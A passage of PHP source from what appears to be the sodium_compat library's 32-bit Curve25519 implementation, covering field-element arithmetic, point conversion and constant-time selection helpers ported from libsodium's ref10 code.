= $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $f0_2 = $f0->shiftLeft(1); $f1_2 = $f1->shiftLeft(1); $f2_2 = $f2->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f4_2 = $f4->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f6_2 = $f6->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f5_38 = $f5->mulInt(38, 6); /* 1.959375*2^30 */ $f6_19 = $f6->mulInt(19, 5); /* 1.959375*2^30 */ $f7_38 = $f7->mulInt(38, 6); /* 1.959375*2^30 */ $f8_19 = $f8->mulInt(19, 5); /* 1.959375*2^30 */ $f9_38 = $f9->mulInt(38, 6); /* 1.959375*2^30 */ $f0f0 = $f0->mulInt64($f0, 28); $f0f1_2 = $f0_2->mulInt64($f1, 28); $f0f2_2 = $f0_2->mulInt64($f2, 28); $f0f3_2 = $f0_2->mulInt64($f3, 28); $f0f4_2 = $f0_2->mulInt64($f4, 28); $f0f5_2 = $f0_2->mulInt64($f5, 28); $f0f6_2 = $f0_2->mulInt64($f6, 28); $f0f7_2 = $f0_2->mulInt64($f7, 28); $f0f8_2 = $f0_2->mulInt64($f8, 28); $f0f9_2 = $f0_2->mulInt64($f9, 28); $f1f1_2 = $f1_2->mulInt64($f1, 28); $f1f2_2 = $f1_2->mulInt64($f2, 28); $f1f3_4 = $f1_2->mulInt64($f3_2, 29); $f1f4_2 = $f1_2->mulInt64($f4, 28); $f1f5_4 = $f1_2->mulInt64($f5_2, 29); $f1f6_2 = $f1_2->mulInt64($f6, 28); $f1f7_4 = $f1_2->mulInt64($f7_2, 29); $f1f8_2 = $f1_2->mulInt64($f8, 28); $f1f9_76 = $f9_38->mulInt64($f1_2, 29); $f2f2 = $f2->mulInt64($f2, 28); $f2f3_2 = $f2_2->mulInt64($f3, 28); $f2f4_2 = $f2_2->mulInt64($f4, 28); $f2f5_2 = $f2_2->mulInt64($f5, 28); $f2f6_2 = $f2_2->mulInt64($f6, 28); $f2f7_2 = $f2_2->mulInt64($f7, 28); $f2f8_38 = $f8_19->mulInt64($f2_2, 29); $f2f9_38 = $f9_38->mulInt64($f2, 29); $f3f3_2 = $f3_2->mulInt64($f3, 28); $f3f4_2 = $f3_2->mulInt64($f4, 28); $f3f5_4 = $f3_2->mulInt64($f5_2, 28); $f3f6_2 = $f3_2->mulInt64($f6, 28); $f3f7_76 = $f7_38->mulInt64($f3_2, 29); $f3f8_38 = $f8_19->mulInt64($f3_2, 29); $f3f9_76 = $f9_38->mulInt64($f3_2, 29); $f4f4 = $f4->mulInt64($f4, 28); $f4f5_2 = $f4_2->mulInt64($f5, 28); $f4f6_38 = $f6_19->mulInt64($f4_2, 29); $f4f7_38 = $f7_38->mulInt64($f4, 29); $f4f8_38 = $f8_19->mulInt64($f4_2, 29); $f4f9_38 = $f9_38->mulInt64($f4, 29); $f5f5_38 = $f5_38->mulInt64($f5, 29); $f5f6_38 = $f6_19->mulInt64($f5_2, 29); $f5f7_76 = $f7_38->mulInt64($f5_2, 29); $f5f8_38 = $f8_19->mulInt64($f5_2, 29); $f5f9_76 = $f9_38->mulInt64($f5_2, 29); $f6f6_19 = $f6_19->mulInt64($f6, 29); $f6f7_38 = $f7_38->mulInt64($f6, 29); $f6f8_38 = $f8_19->mulInt64($f6_2, 29); $f6f9_38 = $f9_38->mulInt64($f6, 29); $f7f7_38 = $f7_38->mulInt64($f7, 29); $f7f8_38 = $f8_19->mulInt64($f7_2, 29); $f7f9_76 = $f9_38->mulInt64($f7_2, 29); $f8f8_19 = $f8_19->mulInt64($f8, 29); $f8f9_38 = $f9_38->mulInt64($f8, 29); $f9f9_38 = $f9_38->mulInt64($f9, 29); $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38); $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38); $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19); $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38); $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38); $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38); $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19); $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38); $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38); $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 */ $h0 = $h0->shiftLeft(1); $h1 = $h1->shiftLeft(1); $h2 = $h2->shiftLeft(1); $h3 = $h3->shiftLeft(1); $h4 = $h4->shiftLeft(1); $h5 = $h5->shiftLeft(1); $h6 = $h6->shiftLeft(1); $h7 = $h7->shiftLeft(1); $h8 = $h8->shiftLeft(1); $h9 = $h9->shiftLeft(1); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $Z * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_invert(ParagonIE_Sodium_Core32_Curve25519_Fe $Z) { $z = clone $Z; $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t2 = self::fe_sq($t0); $t1 = self::fe_mul($t1, $t2); $t2 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 20; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 100; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } return self::fe_mul($t1, $t0); } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106 * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $z * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_pow22523(ParagonIE_Sodium_Core32_Curve25519_Fe $z) { # fe_sq(t0, z); # fe_sq(t1, t0); # fe_sq(t1, t1); # fe_mul(t1, z, t1); # fe_mul(t0, t0, t1); # fe_sq(t0, t0); # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t0 = self::fe_sq($t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 5; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 20; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 20; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 100; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 100; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t0, t0); # fe_sq(t0, t0); # fe_mul(out, t0, z); $t0 = self::fe_mul($t1, $t0); $t0 = self::fe_sq($t0); $t0 = self::fe_sq($t0); return self::fe_mul($t0, $z); } /** * Subtract two field elements. * * h = f - g * * Preconditions: * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * * Postconditions: * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall * @psalm-suppress MixedTypeCoercion */ public static function fe_sub(ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g) { return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $f[0]->subInt32($g[0]), $f[1]->subInt32($g[1]), $f[2]->subInt32($g[2]), $f[3]->subInt32($g[3]), $f[4]->subInt32($g[4]), $f[5]->subInt32($g[5]), $f[6]->subInt32($g[6]), $f[7]->subInt32($g[7]), $f[8]->subInt32($g[8]), $f[9]->subInt32($g[9]) ) ); } /** * Add two group elements. * * r = p + q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_add( ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YplusX); $r->Y = self::fe_mul($r->Y, $q->YminusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215 * @param string $a * @return array * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayOffset */ public static function slide($a) { if (self::strlen($a) < 256) { if (self::strlen($a) < 16) { $a = str_pad($a, 256, '0', STR_PAD_RIGHT); } } /** @var array $r */ $r = array(); for ($i = 0; $i < 256; ++$i) { $r[$i] = (int) (1 & ( self::chrToInt($a[$i >> 3]) >> ($i & 7) ) ); } for ($i = 0;$i < 256;++$i) { if ($r[$i]) { for ($b = 1;$b <= 6 && $i + $b < 256;++$b) { if ($r[$i + $b]) { if ($r[$i] + ($r[$i + $b] << $b) <= 15) { $r[$i] += $r[$i + $b] << $b; $r[$i + $b] = 0; } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) { $r[$i] -= $r[$i + $b] << $b; for ($k = $i + $b; $k < 256; ++$k) { if (!$r[$k]) { $r[$k] = 1; break; } $r[$k] = 0; } } else { break; } } } } } return $r; } /** * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_frombytes_negate_vartime($s) { static $d = null; if (!$d) { $d = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[9]) ) ); } /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */ # fe_frombytes(h->Y,s); # fe_1(h->Z); $h = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3( self::fe_0(), self::fe_frombytes($s), self::fe_1() ); # fe_sq(u,h->Y); # fe_mul(v,u,d); # fe_sub(u,u,h->Z); /* u = y^2-1 */ # fe_add(v,v,h->Z); /* v = dy^2+1 */ $u = self::fe_sq($h->Y); /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */ $v = self::fe_mul($u, $d); $u = self::fe_sub($u, $h->Z); /* u = y^2 - 1 */ $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */ # fe_sq(v3,v); # fe_mul(v3,v3,v); /* v3 = v^3 */ # fe_sq(h->X,v3); # fe_mul(h->X,h->X,v); # fe_mul(h->X,h->X,u); /* x = uv^7 */ $v3 = self::fe_sq($v); $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */ $h->X = self::fe_sq($v3); $h->X = self::fe_mul($h->X, $v); $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */ # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */ # fe_mul(h->X,h->X,v3); # fe_mul(h->X,h->X,u); /* x = uv^3(uv^7)^((q-5)/8) */ $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */ $h->X = self::fe_mul($h->X, $v3); $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */ # fe_sq(vxx,h->X); # fe_mul(vxx,vxx,v); # fe_sub(check,vxx,u); /* vx^2-u */ $vxx = self::fe_sq($h->X); $vxx = self::fe_mul($vxx, $v); $check = self::fe_sub($vxx, $u); /* vx^2 - u */ # if (fe_isnonzero(check)) { # fe_add(check,vxx,u); /* vx^2+u */ # if (fe_isnonzero(check)) { # return -1; # } # fe_mul(h->X,h->X,sqrtm1); # } if (self::fe_isnonzero($check)) { $check = self::fe_add($vxx, $u); /* vx^2 + u */ if (self::fe_isnonzero($check)) { throw new RangeException('Internal check failed.'); } $h->X = self::fe_mul( $h->X, ParagonIE_Sodium_Core32_Curve25519_Fe::fromIntArray(self::$sqrtm1) ); } # if (fe_isnegative(h->X) == (s[31] >> 7)) { # fe_neg(h->X,h->X); # } $i = self::chrToInt($s[31]); if (self::fe_isnegative($h->X) === ($i >> 7)) { $h->X = self::fe_neg($h->X); } # fe_mul(h->T,h->X,h->Y); $h->T = self::fe_mul($h->X, $h->Y); return $h; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_madd( ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yplusx); $r->Y = self::fe_mul($r->Y, $q->yminusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add(clone $p->Z, clone $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_msub( ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yminusx); $r->Y = self::fe_mul($r->Y, $q->yplusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add($p->Z, $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError */ public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); $r->T = self::fe_mul($p->X, $p->Y); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError */ public static function ge_p2_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2( self::fe_0(), self::fe_1(), self::fe_1() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_p2_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_sq($p->X); $r->Z = self::fe_sq($p->Y); $r->T = self::fe_sq2($p->Z); $r->Y = self::fe_add($p->X, $p->Y); $t0 = self::fe_sq($r->Y); $r->Y = self::fe_add($r->Z, $r->X); $r->Z = self::fe_sub($r->Z, $r->X); $r->X = self::fe_sub($t0, $r->Y); $r->T = self::fe_sub($r->T, $r->Z); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_p3_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P3( self::fe_0(), self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Cached * @throws SodiumException * @throws TypeError */ public static function ge_p3_to_cached(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { static $d2 = null; if ($d2 === null) { $d2 = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[9]) ) ); } /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d2 */ $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached(); $r->YplusX = self::fe_add($p->Y, $p->X); $r->YminusX = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_copy($p->Z); $r->T2d = self::fe_mul($p->T, $d2); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 */ public static function ge_p3_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2( $p->X, $p->Y, $p->Z ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_p3_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_p3_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { $q = self::ge_p3_to_p2($p); return self::ge_p2_dbl($q); } /** * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError */ public static function ge_precomp_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param int $b * @param int $c * @return int * @psalm-suppress MixedReturnStatement */ public static function equal($b, $c) { $b0 = $b & 0xffff; $b1 = ($b >> 16) & 0xffff; $c0 = $c & 0xffff; $c1 = ($c >> 16) & 0xffff; $d0 = (($b0 ^ $c0) - 1) >> 31; $d1 = (($b1 ^ $c1) - 1) >> 31; return ($d0 & $d1) & 1; } /** * @internal You should not use this directly from another application * * @param string|int $char * @return int (1 = yes, 0 = no) * @throws SodiumException * @throws TypeError */ public static function negative($char) { if (is_int($char)) { return $char < 0 ? 1 : 0; } /** @var string $char */ $x = self::chrToInt(self::substr($char, 0, 1)); return (int) ($x >> 31); } /** * Conditional move * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError */ public static function cmov( ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u, $b ) { if (!is_int($b)) { throw new InvalidArgumentException('Expected an integer.'); } return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_cmov($t->yplusx, $u->yplusx, $b), self::fe_cmov($t->yminusx, $u->yminusx, $b), self::fe_cmov($t->xy2d, $u->xy2d, $b) ); } /** * @internal You should not use this directly from another application * * @param int $pos * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedArgument */ public static function ge_select($pos = 0, $b = 0) { static $base = null; if ($base === null) { $base = array(); foreach (self::$base as $i => $bas) { for ($j = 0; $j < 8; ++$j) { $base[$i][$j] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( 